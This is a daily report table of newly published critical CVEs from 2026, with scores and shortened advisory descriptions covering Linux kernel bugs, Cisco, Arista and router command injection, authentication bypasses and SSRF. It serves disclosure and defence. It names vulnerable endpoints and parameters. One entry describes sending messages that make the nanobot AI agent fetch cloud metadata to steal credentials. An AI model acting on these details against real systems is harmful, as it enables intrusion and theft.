CVE-2026-89857	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Hold qpair lock when sending NVMe LS reject qla_nvme_ls_reject_iocb() allocates from and advances the request ring through __qla2x00_alloc_iocbs() (which assumes the hardware_lock is held) and qla2x00_start_iocbs() (which advances the ring and rings the request-in doorbell), but takes no loc...
CVE-2026-89969	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: fix out-of-bounds write when receiving an over-long PDU nvmet_tcp_try_recv_pdu() reads a PDU header into the fixed 128-byte queue->pdu union, then computes the remaining payload length as queue->left = hdr->hlen - queue->offset + hdgst; and reads that many more bytes into &queue->pdu + queue-...
CVE-2026-89970	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: nvmet-auth: Synchronize timeout work during SQ teardown nvmet_auth_sq_free() cancels auth_expired_work with cancel_delayed_work(). If the work has already started, cancellation does not wait for the callback. Transport teardown can consequently free or reuse the queue containing struct nvmet_sq while nvmet...
CVE-2026-89972	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: nvme: add missing SRCU grace period in error path nvme_alloc_ns() error path at out_unlink_ns removes ns from the namespace head siblings list with list_del_rcu(&ns->siblings) but does not wait for SRCU readers before freeing the namespace struct. Multipath code iterates the head->list under srcu_read_lock...
CVE-2026-89990	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: ceph: lock mutex in ceph_mds_check_access() MDS session OPEN handling replaces mdsc->s_cap_auths under mdsc->mutex, freeing the previous array and its strings. ceph_mds_check_access() traverses this array without holding the mutex. A concurrent session reopen can therefore free the array while it is bein...
CVE-2026-90012	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: spi: Fix DMA mapping ownership on partial map failure If RX mapping fails after TX mapping succeeds, __spi_map_msg() unmaps TX but leaves tx_sg_mapped set. If TX mapping fails on a later transfer, mappings created for earlier transfers remain active. In both cases, cur_{tx,rx}_dma_dev have not yet been up...
CVE-2026-90036	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during blocked-lock reaping A bare lock owner -- its only remaining reference a blocked lock on nn->blocked_locks_lru -- holds a raw pointer to its nfs4_client but no reference keeping the client alive. When the per-net laundromat reaps such a lock, freeing the nbl drops...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90037	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during close_lru reaping An nfs4_openowner left on nn->close_lru after its final CLOSE keeps its last closed stateid in oo_last_closed_stid, holding only a raw pointer to its nfs4_client. The laundromat reaps timed-out entries, drops nn->client_lock, and calls nfs4_put_s...
CVE-2026-90038	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during export state revocation nfsd4_revoke_export_states() has the same use-after-free as nfsd4_revoke_states(): it drops nn->client_lock across revoke_one_stid() and the following read of clp->cl_minorversion, but the stateid reference it holds does not pin the client....
CVE-2026-90042	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: ceph: properly decrypt filenames in vmmalloc() buffers The fscrypt subsystem uses the scatterlist crypto API, inheriting its requirement that any buffers are in the linear mapping region. However, the messenger client uses kvmalloc() to create buffers for messages, which will occasionally place those buffer...
CVE-2026-90048	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix slab-out-of-bounds write in ni_create_attr_list() ni_create_attr_list() allocates a fixed buffer of al_aligned(record_size) (== record_size) bytes and then walks every attribute of the primary MFT record, writing one ATTR_LIST_ENTRY per attribute and advancing the cursor by le_size(name_len),...
CVE-2026-91843	New	9.8	CRIT				A stack overflow during the unauthenticated login process may allow an attacker to run arbitrary code remotely with root privileges.
CVE-2026-92787	New	9.8	CRIT				Feast through 0.66.0 fails to verify JWT token signatures before establishing user identity, allowing attackers to bypass all role-based access control by presenting an unverified token with a hardcoded claim value. Attackers can obtain trusted internal identity and gain unchecked read and write access to all entities, feature views, data sources, and permission policies on ...
CVE-2026-92805	New	9.8	CRIT				UVdesk Community Skeleton through 1.1.8 fails to authenticate or validate installation state on wizard endpoints in ConfigureHelpdesk controller actions. Unauthenticated attackers can repoint the database and create super administrator accounts by submitting crafted requests to wizard endpoints, gaining full control of the instance.
CVE-2026-20331	New	9.6	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-15640	New	9.5	CRIT		0.003		Under certain conditions a valid SAML IdP response may be used to impersonate another Secret Server user.
CVE-2026-73453	New	9.5	CRIT		0.007		An unauthenticated P4Runtime (Programming Protocol-Independent Packet Processors Runtime) client can achieve arbitrary code execution under certain conditions on affected platforms running Arista EOS configured with P4Runtime. P4Runtime is disabled by default in Arista EOS. By crafting a malicious packet during the initiation of a P4Runtime session, an attacker can obtain co...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77411	New	9.5	CRIT				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, readLongstr in read.go returns an empty string and a nil error when a declared AMQP longstr length exceeds 0x7FFFFFFF instead of returning ErrSyntax. The function leaves the declared field bytes unread, while readTable treats the operation as successful and continues parsing from the wrong offset. A malicious or...
CVE-2026-58146	New	9.4	CRIT				WNC T-Mobile 5G Box IDU router is vulnerable to OS command injection vulnerability. The vulnerability exists within the /cgi-bin/portal.cgi endpoint, specifically through the cli_cookie POST parameter. The cli_cookie parameter value is directly concatenated into a find command string without proper sanitization. This allows a remote, unauthenticated attacker to inject and ex...
CVE-2026-73447	New	9.4	CRIT		0.008		A privileged attacker can exploit certain operation to execute arbitrary commands with root privileges, leading to full device compromise. An authenticated user can exploit gRPC Network Security Interface (gNSI) Certz service on Arista EOS-based products to escalate privileges and execute arbitrary OS commands via a crafted Certz Rotate request. The Bootz service is also aff...
CVE-2026-73461	New	9.4	CRIT		0.003		On affected EOS platforms with AAA-based gRPC authorization enabled for OpenConfig, gRPC requests of an authenticated user to OpenConfig may use the wrong privilege level, resulting in an authorization using the wrong AAA method list. This does not impact non-gRPC OpenConfig requests such as NETCONF.
CVE-2026-77405	New	9.4	CRIT				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, tlsConfigFromURI in uri.go creates tls.Config values without setting MinVersion to tls.VersionTLS12. Builds using a Go runtime whose default permits TLS 1.0 or TLS 1.1 can therefore negotiate an obsolete protocol version when connecting through an amqps URI. A network attacker able to influence TLS negotiation w...
CVE-2026-15639	New	9.3	CRIT		0.004		An attacker can craft a malicious link that, if used by a legitimate user, may cause the user's browser to run JavaScript supplied by the attacker.
CVE-2026-40855	New	9.3	CRIT				WNC T-Mobile 5G Box IDU router is vulnerable to a command injection. The vulnerability exists in the ping functionality within the /cgi-bin/portal.cgi endpoint, specifically affecting the ping_ip, ping_size, and ping_times POST parameters. The root cause is the failure to verify and sanitize user-supplied input before incorporating it into a system command. This allows an au...
CVE-2026-58147	New	9.3	CRIT				WNC T-Mobile 5G Box IDU router contains an OS command injection vulnerability in the portal.cgi component's password change functionality. The application improperly neutralizes special elements in the http_passwd_hidden and http_passwdConfirm_hidden parameters, allowing an authenticated attacker to execute arbitrary commands on the underlying operating system with root priv...
CVE-2026-73172	New	9.3	CRIT				Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the edgserver management service of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote unauthenticated attacker to execute arbitrary OS commands as root via crafted requests to TCP port 5058.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89082	New	9.3	CRIT				HP has identified potential security vulnerabilities in the HP Advance software that may enable elevation of privilege, remote code execution, or arbitrary file write under certain conditions, impacting the HP Advance server hosting the software.
CVE-2026-89083	New	9.3	CRIT				HP has identified potential security vulnerabilities in the HP Advance software that may enable elevation of privilege, remote code execution, or arbitrary file write under certain conditions, impacting the HP Advance server hosting the software.
CVE-2026-89775	New	9.3	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Handle negative S1 walk levels in VNCR TLB size evaluation Computing the effects of a TLB invalidation involves looking at the size of the mapping cached by the TLB. For S1 mappings such as VNCR, this is deducted from the combination of the base granule size and the mapping level. However, thi...
CVE-2026-89914	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Sign-extend VA for range-based TLBI invalidation When the decode_range_tlbi() helper was moved to be used for S1 TLBIs, the required sign extension was omitted. Add it. As a result, special care must be taken to not overflow PA bits when this is used for S2 invalidation.
CVE-2026-89915	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Remove VM-wide VNCR mapping counter The global VNCR mapping counter is used to decide whether an L1 provided VNCR page is mapped in L0 on any CPU at the point of dealing with a TLB invalidation. It is incremented when a mapping is made in the fixmap, and decremented when unmapped. As it turns ...
CVE-2026-89916	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Make VNCR invalidation participate in MMU invalidation retry A VNCR TLB invalidation can occur on one vcpu while another vcpu is faulting in this same page. Without correctly handling this, we can end up with the following scenario: - vcpu A walks the PTs to translate VNCR - before vcpu A is a...
CVE-2026-89918	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Correctly handle end of VA space TLBI invalidation Our TLB invalidation by VA code is based on comparing two ranges, one defined by the TLB, and one defined by the TLBI instruction. Each range is defined by a start and a size. However, the way the comparison is done doesn't account for address...
CVE-2026-89930	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: KVM: nVMX: Service local TLB flushes on failed nested VM-Enter KVM services local TLB flushes on "full" nested VM-Exits (through __nested_vmx_vmexit()), but not if a nested VM-Enter fails (e.g. due to failed VMCS checks in nested_vmx_enter_non_root_mode()). However, it is possible that KVM had queued TLB ...
CVE-2026-90049	New	9.3	CRIT				In the Linux kernel, the following vulnerability has been resolved: net: skbuff: don't skb_tx_error() the source skb in skb_zerocopy() skb_zerocopy() copies frags from @from into @to. On an skb_orphan_frags() failure it calls skb_tx_error(@from), a destructive operation on the source skb the copy helper does not own. That completes @from's zerocopy uarg and clears SKBFL_AL...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91104	New	9.3	CRIT				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-91106	New	9.3	CRIT				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-92720	New	9.3	CRIT				Kubero through 3.1.1 fails to apply authentication guards to the notifications API endpoints, allowing unauthenticated attackers to read webhook secrets and service URLs. Attackers can retrieve stored credentials and register malicious webhooks to intercept pipeline events or suppress alerting by deleting existing configurations.
CVE-2026-73456	New	9.2	CRIT				Under certain circumstances on affected platforms running Arista EOS with gRPC Network Packet Sampling Interface (gNPSI) enabled, an unauthenticated gNPSI client can craft a malicious request to allow arbitrary code execution, granting an attacker full administrative control over the compromised switch.
CVE-2026-92576	New	9.2	CRIT				HKUDS nanobot before 0.3.0 contains a server-side request forgery vulnerability in the WebFetchTool component where the _validate_url() function fails to block internal IP ranges and private addresses. Attackers can send messages instructing the bot to fetch cloud metadata endpoints, localhost services, and RFC 1918 addresses to extract IAM credentials and internal service d...
CVE-2026-92578	New	9.2	CRIT				WWBN AVideo through 29.0 contains an authentication bypass vulnerability where the stored password hash is accepted as a valid login credential through two independent code paths in loginFromRequest() and encryptPasswordVerify(). Attackers who obtain the stored users.password hash value can authenticate as any user by submitting the hash directly to login endpoints, complete...
CVE-2026-92749	New	9.2	CRIT				SafeLine through 9.4.1 derives the management console session-signing secret from a time-seeded math/rand generator, allowing attackers to reconstruct the key offline. Unauthenticated remote attackers who can bound the install timestamp can regenerate the secret and forge valid administrator session cookies to gain control of protected sites.
CVE-2026-92785	New	9.2	CRIT				Angel through 3.3.0 deserializes untrusted setAlgoMetrics payload using Kryo without class registration or allowlist validation. Unauthenticated network attackers can instantiate arbitrary classes or exhaust coordinator memory by sending crafted serialized objects to the master RPC endpoint.
CVE-2026-15638	New	9.1	CRIT		0.002		An unauthenticated user with access to Secret Server could leverage a padding oracle to decrypt or encrypt data using one of the server's cryptographic keys. The key itself is not exposed.
CVE-2026-20176	New	9.1	CRIT				A vulnerability in Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have valid high-privileged administrative credentials. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20194	New	9.1	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulne...
CVE-2026-20211	New	9.1	CRIT				A vulnerability in Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have valid high-privileged administrative credentials. This vulnerability is due to insecure deserialization of Java objects by the affected software. An attacker...
CVE-2026-20237	New	9.1	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulne...
CVE-2026-20284	New	9.1	CRIT				A vulnerability in the SXP REST API of Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks. This vulnerability is due to insufficient validation of user-supplied input in REST API calls. An attacker could exploit this vulnerability by sending crafted input to an affected device. A successful exploit could allow the attacker to view or ...
CVE-2026-20305	New	9.1	CRIT				A vulnerability in the diagnostic tools of Cisco ISE and ISE-PIC could allow an authenticated, remote attacker to perform command injection attacks on the underlying operating system and elevate privileges to root. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to improper validation of user-supplied ...
CVE-2026-20306	New	9.1	CRIT				A vulnerability in the REST API of Cisco ISE and ISE-PIC could allow an authenticated, remote attacker to perform command injection attacks on the underlying operating system and elevate privileges to root. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to improper validation of user-supplied input. An att...
CVE-2026-20341	New	9.1	CRIT				A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure FMC Software could allow an authenticated, remote attacker to obtain root privileges. This vulnerability is due to unsecured deserialization of untrusted data over the sftunnel management connection. An attacker could exploit this vulnerability by sending crafted sftunnel remote proce...
CVE-2026-61594	New	9.1	CRIT			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the live (WebSocket) transport authorizes a mount via `check_view_auth`, not Django's `View.dispatch()` chain. As a result, standard Django authorization — `LoginRequiredMixin`, `PermissionRequiredMixin`, `UserPassesTestMixin`, `@method_decor...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75513	New	9.1	CRIT				Marten is a .NET Transactional Document DB and Event Store on PostgreSQL. From version 7.0.0 until 9.13.0, several Marten LINQ and tenant-management paths interpolate runtime, potentially attacker-controlled strings into single-quoted SQL literals without escaping or parameterization. The primary confirmed vector is a dictionary indexer key used by Where filters in src/Marte...
CVE-2026-76186	New	9.1	CRIT		0.002		Apache Airflow Keycloak provider: from Airflow 3.3 the Keycloak auth manager takes a user's identity from the signed Airflow session token but takes the Keycloak access and refresh tokens used for every authorization decision from separate, unauthenticated cookies, and never checks that the two describe the same subject. A user who holds any valid Airflow login of their own,...
CVE-2026-77408	New	9.1	CRIT				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, the writeShortstr function in write.go casts the byte length of AMQP shortstr property values to uint8 without first rejecting values longer than 255 bytes. An application that accepts an oversized CorrelationId, ReplyTo, MessageId, Expiration, UserId, AppId, ContentType, ContentEncoding, or Type value can there...
CVE-2026-81642	New	9.1	CRIT		0.005		In NLnet Labs Unbound up to and including 1.26.0, a vulnerability was found in the DNSSEC validator that enables denial of service and possible remote code execution as a result of digesting DNSKEYs. A DNSKEY with an owner compression pointer to its own RDATA can overflow the digest buffer. Remote code execution is possible through attacker controlled data. An adversary can ...
CVE-2026-86462	New	9.1	CRIT		0.002		Apache Airflow FAB provider: changing a user's password through the Admin user-edit PATCH endpoint does not invalidate that user's existing database-backed sessions. An attacker who already holds a copy of the victim's session cookie keeps full access as that user after the password change, so the password reset does not evict them. Affects deployments using the FAB auth man...
CVE-2026-88592	New	9.1	CRIT				kkFileView >= 4.2.0 is vulnerable to Server-Side Request Forgery (SSRF). The cross-origin file proxy endpoint /getCorsFile is protected by TrustHostFilter against the trust.host whitelist. However, the URL parameter validated by the filter is not the same parameter the controller actually fetches: the filter validates the first non-empty parameter in a fixed priority order, ...
CVE-2026-89779	New	9.1	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate ef->size covers the record's name and value When an EA record has a non-zero ef->size, ntfs_read_ea() only checks that the record fits in the remaining buffer (ea_size > bytes), not that ef->size is large enough to hold the record's own name_len + 1 + elength. A crafted image can pass v...
CVE-2026-89786	New	9.1	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: ext4: fix out-of-bounds read in ext4_read_inline_dir() ext4_read_inline_dir() can read a dirent header past the end of its inline buffer, triggering a slab-out-of-bounds read during getdents64(): BUG: KASAN: slab-out-of-bounds in __ext4_check_dir_entry Read of size 2 at addr ffff88800f3dd23c by task e...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89846	New	9.1	CRIT				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read In qla2x00_status_entry(), the FWI2 status path advances sense_data and shrinks par_sense_len by rsp_info_len: if (IS_FWI2_CAPABLE(ha)) { sense_data += rsp_info_len; par_sense_len -= rsp_info_len; } rsp_info_len is a 32-bit value taken ...
CVE-2026-90011	New	9.1	CRIT				In the Linux kernel, the following vulnerability has been resolved: scsi: target: iscsi: Reserve a terminator byte for the login payload iscsi_target_check_login_request() rejects a login PDU whose DataSegmentLength exceeds MAX_KEY_VALUE_PAIRS, but the test is '>' and login->req_buf is allocated with exactly MAX_KEY_VALUE_PAIRS bytes. Since iscsit_get_login_rx() receives p...
CVE-2026-92395	New	9.1	CRIT				@fastify/proxy-addr is a Fastify plugin that determines a request's client address behind trusted reverse proxies, and it backs Fastify request.ip and request.ips. In versions 3.0.0 through 5.1.0, a trust subnet written in IPv4-mapped IPv6 notation with an IPv4-sized prefix, such as ::ffff:10.0.0.0/8 instead of the correct ::ffff:10.0.0.0/104, is accepted without error but t...
CVE-2026-92717	New	9.1	CRIT				Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener and receive a signed JWT token. Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.
CVE-2026-76420	New	9.0	CRIT				A vulnerability in the internal configuration of the Apache JServ Protocol (AJP) connector for Cisco Secure FMC Software could allow an unauthenticated, remote attacker to impersonate a peer device. This vulnerability is due to incorrect initialization of encryption parameters for the AJP connector at boot time. An attacker could exploit this vulnerability by sending...

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.